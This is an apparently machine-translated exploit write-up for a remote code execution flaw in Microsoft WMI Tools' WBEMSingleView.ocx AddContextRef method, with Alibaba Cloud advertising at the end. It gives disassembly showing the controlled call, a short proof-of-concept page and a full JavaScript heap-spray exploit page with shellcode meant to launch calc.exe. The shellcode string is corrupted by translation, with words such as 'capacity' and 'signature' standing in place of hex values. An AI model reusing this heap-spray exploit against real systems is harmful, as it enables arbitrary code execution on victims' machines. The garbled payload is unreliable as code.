WMITOOLS provided by Microsoft has a remote code execution vulnerability. Attackers can directly control a call address and let the program directly go to the shellcode we have configured in the memory.
Official Address:
Aspx? FamilyID = 6430f853-1120-48db-8cc5-f2abdc3ed314 & displaylang = en "> http://www.microsoft.com/downloads/en/details.aspx? FamilyID = 6430f853-1120-48db-8cc5-f2abdc3ed314 & displaylang = en
The vulnerability lies in the AddContextRef method of WBEMSingleView. ocx.
[Id (0x00000018), helpstring ("Increment Context Ref Count")]
Long AddContextRef (long lCtxtHandle );
02D26BF9 837D 08 FF cmp dword ptr [ebp + 8],-1
02D26BFD 74 06 je short 02D26C05
02D26BFF 837D 08 00 cmp dword ptr [ebp + 8], 0
02D26C03 75 07 jnz short 02D26C0C
02D26C05 B8 05400080 mov eax, 80004005
02D26C0A EB 13 jmp short 02D26C1F
02D26C0C 8B45 08 mov eax, dword ptr [ebp + 8] // controllable parameter
02D26C0F 8945 FC mov dword ptr [ebp-4], eax
02D26C12 8B4D FC mov ecx, dword ptr [ebp-4]
02D26C15 8B11 mov edx, dword ptr [ecx] // continue to pass to edx
02D26C17 8B45 FC mov eax, dword ptr [ebp-4]
02D26C1A 50 push eax
02D26C1B FF12 call dword ptr [edx] // controls the call address
Proof of vulnerability:
POC:
<Html>
<Object classid = "clsid: 2745E5F5-D234-11D0-847A-00C04FD7BB08" id = "target"> </object>
<SCRIPT language = "JavaScript">
Target. AddContextRef (0x0c0c0c0c );
</Script>
</Html>
Executable shellcode code:
<Html>
<Object classid = "clsid: 2745E5F5-D234-11D0-847A-00C04FD7BB08" id = "target"> </object>
<SCRIPT language = "JavaScript">
// Run calc.exe
Var shellcode = unescape ("% uc92b % capacity % ud9de % ud9ee % u2474 % capacity % u452b % u83df % ufceb % uf4e2 % uc3f0 % udf01 % capacity % u9ace % ua030 % uda39 % u2a74 % u54aa % percent % u80ce % u2a2c % u96ae % u1f87 % udece % u1ae2 % u4685 % percent % uab85 % percent % ud28f % percent % udb61 % uce79 % u80ce % u2a28 % ub9ae % u2787 % signature % u3753 % u3444 % u3787 % udece % ua2e7 % ufb19 % signature % ua068 % uef05 % ueb89 % ud33d % signature % u5449 % Signature % signature % ud6ae % uab87 % udff5 % signature % ub7ce % u7430 % u2974 % signature % u27cc % ueb8f % signature % udb64 % udbcf % signature % u21dd % u2586 % u2012 % u48eb % ub324 % u2b6f % udf45 % u0000 ");
// Spray the heap first
Var bigblock = unescape ("% u0C0C % u0C0C ");
Var headersize = 20;
Var slackspace = headersize + shellcode. length;
While (bigblock. length <slackspace) bigblock + = bigblock;
Fillblock = bigblock. substring (0, slackspace );
Block = bigblock. substring (0, bigblock. length-slackspace );
While (block. length + slackspace <0x40000) block = block + fillblock;
Memory = new Array ();
For (x = 0; x <350; x ++) memory [x] = block + shellcode;
// Let the program directly call the past
Target. AddContextRef (0x0c0c0c0c );
</Script>
</Html>
Author: Milk Tank
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
